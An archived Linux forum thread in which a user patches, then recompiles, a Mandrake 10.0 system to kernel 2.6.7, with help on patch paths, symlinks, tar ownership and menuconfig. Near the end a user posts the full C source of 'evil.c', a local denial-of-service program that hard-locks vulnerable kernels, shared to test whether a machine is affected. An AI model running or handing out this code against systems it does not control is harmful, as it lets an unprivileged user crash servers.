Kernel patch 2.6.7

[valoy]

How does one patch a kernel for Mandrake 10.0 with the 2.6.7 patch release?

[JohnT]

The patch process is essentially the same for all kernels...having said that there are exceptions. Here is a good guide that should help you get started.......HERE (http://linuxheadquarters.com/howto/tuning/kernelpatch.shtml)

[valoy]

Perfect, thanks!

[JohnT]

Your most welcome....Good Luck :D

[valoy]

Walked threw the steps however it wont patch. See below

patch -p1 < patch-2.6.7
can't find file to patch at input line 4
Perhaps you used the wrong -p or --strip option?
The text leading up to this was:
--------------------------
|diff -Nru a/CREDITS b/CREDITS
|--- a/CREDITS Tue Jun 15 22:20:42 2004
|+++ b/CREDITS Tue Jun 15 22:20:42 2004
--------------------------
File to patch: patch-2.6.7
patching file patch-2.6.7
Hunk #1 FAILED at 830.
Hunk #2 FAILED at 1284.
Hunk #3 FAILED at 1951.
3 out of 3 hunks FAILED -- saving rejects to file patch-2.6.7.rej
can't find file to patch at input line 44
Perhaps you used the wrong -p or --strip option?
The text leading up to this was:
--------------------------
|diff -Nru a/Documentation/DocBook/kernel-hacking.tmpl b/Documentation/DocBook/kernel-hacking.tmpl
|--- a/Documentation/DocBook/kernel-hacking.tmpl Tue Jun 15 22:20:41 2004
|+++ b/Documentation/DocBook/kernel-hacking.tmpl Tue Jun 15 22:20:41 2004
--------------------------

[JohnT]

Your in the wrong directory or path to file incorrect.

[squeegy]

If you're using Mandrakes kernel they probably have some special things in there... So most likely you'll have hunks that fail. Also the 2.6.7 patch is intended to applied to 2.6.6 I would imagine. Your best bet is probably downloading the entire new kernel and compile a new one.

[valoy]

kernel 2.6.3-7mdk

No luck, same result.



patch -p1 < patch-2.6.7
can't find file to patch at input line 4
Perhaps you used the wrong -p or --strip option?
The text leading up to this was:
--------------------------
|diff -Nru a/CREDITS b/CREDITS
|--- a/CREDITS Tue Jun 15 22:20:42 2004
|+++ b/CREDITS Tue Jun 15 22:20:42 2004
--------------------------
File to patch: patch-2.6.7
patching file patch-2.6.7
Hunk #1 FAILED at 830.
Hunk #2 FAILED at 1284.
Hunk #3 FAILED at 1951.
3 out of 3 hunks FAILED -- saving rejects to file patch-2.6.7.rej
can't find file to patch at input line 44
Perhaps you used the wrong -p or --strip option?
The text leading up to this was:
--------------------------
|diff -Nru a/Documentation/DocBook/kernel-hacking.tmpl b/Documentation/DocBook/kernel-hacking.tmpl
|--- a/Documentation/DocBook/kernel-hacking.tmpl Tue Jun 15 22:20:41 2004
|+++ b/Documentation/DocBook/kernel-hacking.tmpl Tue Jun 15 22:20:41 2004

[valoy]

I followed the steps to the T!

[JohnT]

Where is the patch placed when you are running this command?

[valoy]

/usr/src/linux

I had to create the linux directory

[Loki3]

The /usr/src/linux directory should be a symbolic link to the directory with the actual kernel source in it. Think of it in a similar way as a "shortcut" in Windows.

The command 'ln -s /usr/src/kernel-source-version /usr/src/linux" ought to work.

Do you have the kernel-headers and kernel-source packages installed?

[Uranus]

I'd go for downloading the entire source as well - you can just copy the .config file from the old kernel dir to the new one, run "make menuconfig" to check if everything's ok, and then just "make && make modules_install". Should work, does for me. If you use dial-up I guess you'd pay for more clicks with problem-solving questions than just downloading the source :D and if you're not, what's the point?
Sam

[JohnT]

As I was leading up to the next question....without assuming. Did you download and unpack a kernel source to that directory before you ran the patch?

[mdwatts]

Originally posted by JohnT
As I was leading up to the next question....without assuming. Did you download and unpack a kernel source to that directory before you ran the patch?

:)

As I was also thinking. You cannot patch a kernel source if the actual kernel source is not installed.

Whatever kernel source version I have installed, I always ensure I have a symlink pointing to /usr/src/linux and then

cd /usr/src/linux

patch -p1 < /path/to/name_of_patch

[valoy]

I think im left to no choice but to recompile a new kernel. I'll let you guys know how it turns out. I was just hoping for an easy fix is all. I guess that isn't going to be the case. The reason why I was trying to patch the kernel was because of that new kernel exploit evil.c

[bwkaz]

Didn't your distro release an updated kernel package that fixed that DoS issue in the floating point code? That might be a bit easier (unless you want to figure out how to compile a kernel anyway, then feel free).

Actually, you might consider bringing the system down to single-user and running that "exploit" program (after compiling it of course ;)), just to see if your present distro kernel is vulnerable. I hesitate to even call it an exploit, though, because it's not like it allows privilege escalation or anything like that, it just locks up the machine it's run on. But whatever.

I suppose it's possible that distro kernels might have either had that patch already, or might not be vulnerable due to other patches that they use. It might cause a hard lockup if you are vulnerable, though, so beware.

[valoy]

Yep, Mandrake 10.0 is vulnerable to the new exploit. It locks up hard. It took less then 1 min. to crash the server as a regular user.

[valoy]

Whelp, im in the middle of recompiling a new kernel and i had a weird thing happen when i untarred the kernel to the /usr/src directory. I unzipped the tarball and it assign the new kernel directory linux-2.6.7/ to
one of my users on the system called "ron". I find that kind of odd when first, that user isn't logged onto the system and second Im currently logged in as root. Could I have found a security leak? Here are some some more detials on the enviroment:

1. I'm currently signed in as root in shell console.
2. I'm in the /usr/src directory
3. I only have two users on the system
4. Signed in as root and I issue the command:
tar -zvxf linux-2.6.7.tar.gz
5. The user "ron" is not apart of any group
6. The user "valoy" is not apart of any group
7. Running msec level 3
8. /usr/src directory is owned by root
9. downloaded kernel 2.6.7
10. I'm running Mandrake 10.0
11. Current kernel 2.6.3-7mdk

Here are the steps I took:

1. Downloaded the new kerenl to my home directory
valoy
2. Opened a konsole shell
3. su
4. now signed in as root
5. mv linux-2.6.7.tar.gz /usr/src
6. cd /usr/src
7. lsmod > valoys_mods (save a list of my modules)
8. tar -zvxf linux-2.6.7.tar.gz

This is the directory before:

[root@Mobie src]# ll
total 43032
-rw-rw-r-- 1 valoy valoy 44006970 Jun 26 17:24 linux-2.6.7.tar.gz
drwxr-xr-x 3 root root 4096 Jun 17 22:50 RPM/
-rw-r--r-- 1 root root 2831 Jun 27 00:05 valoys_mods

This is the directory after:

[root@Mobie src]# ll
total 43036
drwxrwxr-x 18 ron ron 4096 Jun 15 22:19 linux-2.6.7/
-rw-rw-r-- 1 valoy valoy 44006970 Jun 26 17:24 linux-2.6.7.tar.gz
drwxr-xr-x 3 root root 4096 Jun 17 22:50 RPM/
-rw-r--r-- 1 root root 2831 Jun 27 00:05 valoys_mods


Why in the heck when I untar the new kernel, it assigns the user and group to one of my users. Could this be a new bug that I have found? It is an easy fix however what if i wasn't giving it much attention.

[bwkaz]

It's not a bug.

tar stores the UID and GID of files and directories when it creates a tarball (which, IIRC, happens on Linus' system). When it extracts the tarball on your system, it chown()s and chgrp()s the files and directories to the UID that they were stored with.

When you're extracting as root, this succeeds. When you're extracting as a normal user, it does not (so the files and directories are owned by your user and the primary group that your user is a member of).

If you don't like it, don't extract a tarball as root. Of course, that means you won't (on some distros) be able to do it in /usr/src, but there's no problem with that. Anything that requires kernel headers (which includes kernel modules and glibc during their compilations, and nothing else) should look in /lib/modules/<kernel version>/build, which is an automatically generated symlink to the real kernel source directory.

[valoy]

this tarball was created from kenrel.org so my user has nothing to do with the new kernel. It was extracted as UID ron and GID ron. When i download the new kernel from kernel.org i was logged in as valoy and then did a "su" to root. Infact the user ron has never signed onto the system because this is a new install.

[valoy]

Before I compile my kernel I actually have one question, given that my original kernel and config file is stored in the boot directory, what do i need to add and remove to get my new kernel to work and how should i setup my symbolic links? I wouldn't mind keeping my old config file. Here is a list of the /boot directory:


-rw-r--r-- 1 root root 512 Jun 14 09:47 boot.0300
lrwxrwxrwx 1 root root 17 Jun 22 00:04 config -> config-2.6.3-7mdk
-rw-r--r-- 1 root root 54087 Mar 17 06:58 config-2.6.3-7mdk
-rw-r--r-- 1 root root 5032 Feb 19 09:03 diag1.img
-rw-r--r-- 1 root root 16796 Feb 19 09:03 diag2.img
drwxr-xr-x 2 root root 4096 Jun 13 18:36 grub/
-rw-r--r-- 1 root root 138499 Jun 14 09:47 initrd-2.6.3-7mdk.img
lrwxrwxrwx 1 root root 21 Jun 14 09:47 initrd.img -> initrd-2.6.3-7mdk.img
lrwxrwxrwx 1 root root 25 Jun 22 00:04 kernel.h -> /boot/kernel.h-2.6.3-7mdk
-rw-r--r-- 1 root root 537 Jun 14 10:04 kernel.h-2.6.3-7mdk
-rw------- 1 root root 532992 Jun 14 09:47 map
lrwxrwxrwx 1 root root 15 Jun 14 09:47 message -> message-graphic
-rw-r--r-- 1 root root 442273 Jun 14 09:47 message-graphic
-rw-r--r-- 1 root root 116 Jun 14 09:47 message-text
lrwxrwxrwx 1 root root 21 Jun 14 10:03 System.map -> System.map-2.6.3-7mdk
-rw-r--r-- 1 root root 898908 Mar 17 06:58 System.map-2.6.3-7mdk
-rw-r--r-- 1 root root 256 Jun 14 09:47 us.klt
lrwxrwxrwx 1 root root 18 Jun 14 09:47 vmlinuz -> vmlinuz-2.6.3-7mdk
-rw-r--r-- 1 root root 1440198 Mar 17 06:58 vmlinuz-2.6.3-7mdk

[dalek]

When I make a new kernel I do this way. I copy the new kernel over to /boot and name it like this:

bzImage-2.*.*.test* where the 2.*.* is the version of the kernel, like 2.6.6, and the test* is the version of the test, I usually start with 1, then 2 etc. I only save the kernels that are stable.

I also copy the config file over for that kernel like this.

cp .config /boot/config-2.*.*.test*

I use the same naming scheme for the config as I do for the kernel.

That way if you ever need to go back to a old kernel, you also have the config file to start off with.

You add remove things through the command

make menuconfig

There is no mouse in there, sorry. You have to use the arrow keys to navigate and the letter "Y" for in the kernel, "M" for module, "N" for removed completely.

You need to hit on every screen in there. Nothing is a real default unless you have the same system as the person who tested the kernel.

There are how to's and even a help screen inside the menuconfig that has pretty good info.

If you are talking about the symbilic link for /usr/src/linux then when in the directory /usr/src type in this command:

ln -s linux-2.<actual version here> <space> linux

That should work. You can type in

ls -l

It should look something like this:

root@smoker /usr/src # ls -l
total 5
lrwxrwxrwx 1 root root 11 Jun 14 03:43 linux -> linux-2.6.6
drwxr-xr-x 19 root root 1296 Feb 22 01:45 linux-2.6.0-test11
drwxr-xr-x 19 root root 1296 Jun 14 03:17 linux-2.6.1
drwxrwxr-x 19 500 500 1304 Jun 27 04:30 linux-2.6.6
root@smoker /usr/src #


Top one is the link. linux -> linux-2.6.6. I know, I'm on the bleeding edge. :D

If you plan to test kernels a lot, I would recommend you switch to grub. If you have problems you can edit the boot line without a lot of hassle. It is just easier. I used lilo till I started using more than one distro and playing with different kernels.

Hope that helps a bit.

Later

:D :D :D

Hi mdwatts. How you doing? I'm mean as ever. lol

[valoy]

Yeppie, It works!

I followed the instructions from this site and had wonderful results.

http://www.linuxquestions.org/questions/archive/1/2003/09/2/73436

[root@Mobie Desktop]# uname -r
2.6.7

:D :D :D :D

[dalek]

Wooooooo oooooooo.

Thats great.

:D :D :D :D

[valoy]

Here is the evil.c code if you want to see if you are vulnerable to the new exploit.

#include <sys/time.h>
#include <signal.h>
#include <unistd.h>

static void Handler(int ignore)
{
char fpubuf[108];
__asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}

int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);

return 0;
}

[valoy]

Whelp, i tested the new kernel 2.6.7 and the evil.c code no longer brings the server to a halt. It just becomes a run away process which can be killed. :D

[bwkaz]

That's because the problem was fixed in one of the 2.6.7-rc kernels (whichever one came out right after the problem became public).